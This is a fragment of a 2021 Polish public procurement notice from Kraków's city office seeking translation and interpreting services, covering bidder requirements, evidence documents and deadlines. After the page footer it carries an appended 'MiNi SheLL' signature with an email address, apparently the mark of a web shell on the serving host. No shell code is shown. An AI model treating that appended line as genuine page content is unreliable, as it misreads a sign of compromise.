zespołem tłumaczy w tym: a) z j. ang. – 2 tłumaczami posiadającymi doświadczenie w tłumaczeniach symultanicznych na co najmn. 2 konferencjach/spotkaniach międzynarodowych oraz w tłumaczeniach konsekutywnych na co najmn. 4 spotkaniach, b) z j. niem. – 2 tłumaczami posiadającymi doświadczenie w tłumaczeniach symultanicznych na co najmn. 2 konferencjach/spotkaniach międzynarodowych oraz w tłumaczeniach konsekutywnych na co najmn. 4 spotkaniach, c) z j. franc. – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w tłumaczeniach symultanicznych na co najmn. 2 konferencjach /spotkaniach międzynarodowych oraz co najmn. 1 tłumaczem posiadającym doświadczenie w tłumaczeniach konsekutywnych na co najmn. 4 spotkaniach, d) z j. włoskiego - 2 tłumaczami, e) z j. hiszp. – 2 tłumaczami, f) z j. rosyj. – 2 tłumaczami, g) z j. ukr. – 2 tłumaczami. 2. W post. mogą wziąć udział Wykonawcy, którzy nie podlegają wykluczeniu z post. na podst. art. 108 ust. 1 pzp oraz art. 109 ust. 1 pkt 5 i 7 pzp. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">Oświadczenie o aktualności informacji zawartych w oświadczeniu/-ach, o którym/-ch mowa w pkt 6.1.6.1. SWZ w zakresie podstaw wykluczenia z postępowania wskazanych przez Zamawiającego w sekcji V pkt 5.4) ppkt 2 ogłoszenia odpowiednio: a) samego Wykonawcy lub każdego z Wykonawcówwspólnie ubiegających się o udzielenie zamówienia; b) podmiotu/-ów, na którego/-ych zdolnościach technicznych lub zawodowych polega Wykonawca w celu potw. spełniania warunków udziału w post. – jeżeli dotyczy</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1. Dla cz. 1 zam. Wykaz osób - tłumaczy i native speakerów - skierowanych przez Wykonawcę do realizacji zamówienia wraz z informacjami na temat ich: 1.1. kwalifikacji zawodowych (dot. tłumaczy przysięgłych), doświadczenia (w wykonywaniu tłumaczeń do publikacji), a także zakresu wykonywanych przez nie czynności (tj. rodzaju wykonywanych tłumaczeń: tekstowe uwierzytelnione i nieuwierzytelnione) oraz informacją o podstawie do dysponowania tymi osobami, sporz. wg wzoru stanowiącego zał. nr 4A do SWZ, na potw. spełniania warunku z sekcji V pkt 5.4) ppkt 1.1 ogłoszenia. 1.2. doświadczenia (w wykonywaniu tłumaczeń pisemnych) oraz informacją o podstawie do dysponowania tymi osobami, sporz. wg wzoru stanowiącego zał. nr 4A do SWZ, na potwierdzenie spełniania warunku z sekcji V pkt 5.4) ppkt 1.2. ogłoszenia. 2. Dla cz. 2 zam. Wykaz osób skierowanych przez Wykonawcę do realizacji zamówienia wraz z informacjami na temat ich doświadczenia (w wykonywaniu tłumaczeń symultanicznych i konsekutywnych), a także zakresu wykonywanych przez nie czynności (tj. rodzaju wykonywanych tłumaczeń: konsekutywne, symultaniczne, zdalne) oraz informacją o podstawie do dysponowania tymi osobami sporz. wg wzoru stanowiącego zał. nr 4B do SWZ, na potwierdzenie spełniania warunku z sekcji V pkt 5.4) ppkt 1.3. ogłoszenia.</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> Informacje na temat Wykonawców wspólnie ubiegający się o udzielenie zamówienia, zgodnie z art. 58 ust. 1 pzp, zostały szczegółowo opisane w pkt 7 SWZ. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Projektowane postanowienia umowy w sprawie zamówienia publicznego, które zostaną wprowadzone do treści tej umowy, zawierają wzory umowy (z zał.), które stanowią załączniki nr 6A (cz. 1 zam.) i 6B (cz. 2 zam.) do SWZ. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-04-23 09:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">miniPortal</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-04-23 11:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-05-22</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> 1. Wykonawca może złożyć ofertę tylko na jedną część zamówienia, o której mowa w pkt 3.4. SWZ. Złożenie oferty przez Wykonawcę na dwie części zamówienia będzie skutkowało odrzuceniem takiej oferty, na podstawie art. 226 ust. 1 pkt 5 pzp, jako niezgodnej z warunkami zamówienia. 2. Zamawiający nie wymaga realizacji zamówienia przez zakłady pracy chronionej, spółdzielnie socjalne, czy innych wykonawców objętych dyspozycją przepisu art. 94 ust. 1 pzp. 3. Zamawiający, na podstawie art. 95 ust. 1 pzp, wymaga zatrudniania na podstawie stosunku pracy przez Wykonawcę (lub podwykonawcę) osób w zakresie i na zasadach określonych w pkt 3.7. SWZ. 4. Zamawiający, w granicach określonych przepisem art. 462 i nast. pzp, dopuszcza możliwość realizacji przedmiotu zamówienia – w każdej części zamówienia – przez Wykonawcę z wykorzystaniem podwykonawców, na zasadach określonych w pkt 3.13. SWZ. 5. W niniejszym postępowaniu komunikacja odbywa się przy użyciu miniPortalu, ePUAPu oraz poczty elektronicznej. Szczegóły dotyczące sposobu porozumiewania się Zamawiającego i Wykonawców zostały określone w pkt 9 SWZ. Oznaczenie odbiorcy (Zamawiającego) w formularzach ePUAP: GMINA MIEJSKA KRAKÓW-MIASTO NA PRAWACH POWIATU (31-004 KRAKÓW, WOJ. MAŁOPOLSKIE). Adres skrzynki ePUAP: /UMKr/SkrytkaESP Adres poczty elektronicznej: info@um.krakow.pl Adres strony internetowej, na której udostępniane będą zmiany i wyjaśnienia treści SWZ oraz inne dokumenty zamówienia bezpośrednio związane z postępowaniem o udzielenie zamówienia:https://www.bip.krakow.pl/?sub_dok_id=20764, zwanej w SWZ „stroną internetową prowadzonego postępowania”. Sposób porozumiewania się stron w niniejszym postępowaniu oraz przekazywania oświadczeń i dokumentów został szczegółowo opisany w pkt 9 SWZ. 6. Wykaz oświadczeń lub dokumentówwymaganych w postępowaniu został określony w pkt 6 SWZ. 7. Dodatkowa informacja do sekcji III pkt 3.6. ogłoszenia: Formaty danych wymagane do sporządzania i przekazywania dokumentów i informacji w postępowaniu określa § 2 rozporz. Prezesa Rady Ministrów z dnia 30.12.20 r. w sprawie sposobu sporządzania i przekazywania informacji oraz wymagań technicznych dla dokumentów elektronicznych (...). Zamawiający wskazuje jednak, że wśród dopuszczalnych i ogólnie dostępnych formatów znajdują się m.in.: .txt, .rtf, .pdf, .doc, .docx, .odt. 8. Dodatkowa informacja do sekcji III pkt 3.6. ogłoszenia: W zakresie nieuregulowanym ustawą lub niniejszą SWZ do podmiotowych środków dowodowych, oświadczeń i dokumentów składanych przez Wykonawcę w postępowaniu zastosowanie mają w szczególności przepisy rozporządzenia przywołanego w pkt 8.4. SWZ (tj. 7 powyżej) oraz rozporz. Ministra Rozwoju Pracy i Technologii z dnia 23.12.20 r. w sprawie podmiotowych środków dowodowych (...). 9. Do sekcji II pkt 2.15) należy dodać następujące zdanie: Uwaga! Zamawiający zastrzega, iż w przypadku nie zawarcia umowy/-ów na dofinansowanie ww. projektu/-ów, wartość maksymalna umowy zawieranej przez odpowiedni wydział Urzędu Miasta Krakowa może ulec odpowiedniemu zmniejszeniu o wartość nieprzyznanych środków.</main><footer hidden><table style="border-top: 1px solid black; width:100%"><tr><td>2021-04-15 Biuletyn Zamówień Publicznych</td><td style="text-align:right">Ogłoszenie o zamówieniu - Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy - Usługi</td></tr></table></footer>

Creat By MiNi SheLL
Email: jattceo@gmail.com